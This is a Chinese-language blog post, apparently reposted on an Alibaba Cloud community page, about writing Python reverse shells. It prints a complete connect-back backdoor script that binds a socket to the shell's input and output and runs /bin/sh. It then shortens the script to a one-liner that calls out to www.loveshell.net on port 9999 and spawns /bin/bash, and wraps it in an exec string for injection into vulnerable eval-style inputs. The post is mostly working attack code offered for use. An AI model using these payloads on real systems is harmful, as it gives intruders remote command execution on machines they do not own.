我非我同學的python的反彈shell的代碼

來源:互聯網
上載者:User

不知道怎麼忽然想看這個,呵呵
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006/n"
  print "Usage: %s <conn_back_host> <port>/n" % programname
def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------/n")
  s.send("----------------------------- By wofeiwo -----------------------------/n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()
if __name__ == "__main__": main()

用在漏洞利用的時候不太好,不是麼?我們想要短點的,節省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master/r/n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?/r/n");os.system("/bin/bash");s.close();s.send("See u next time!/r/n");

如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(後面有解釋)那麼還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master//r//n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?//r//n");os.system("/bin/bash");s.close();s.send("See u next time!//r//n");';

注意是//r//n哦,即使在''裡好象/r/n一樣會成為換行,所以其實這裡即使不用;一樣可以構造好代碼的,另外,為什麼不用eval呢?
翻了下手冊
exec語句用來執行儲存在字串或檔案中的Python語句。例如,我們可以在運行時產生一個包含Python代碼的字串,然後使用exec語句執行這些語句

eval語句用來計算儲存在字串中的有效Python運算式

呵呵,這裡用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
本文來自: 指令碼之家(www.jb51.net) 詳細出處參考:http://www.jb51.net/html/200708/97/11135.htm 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.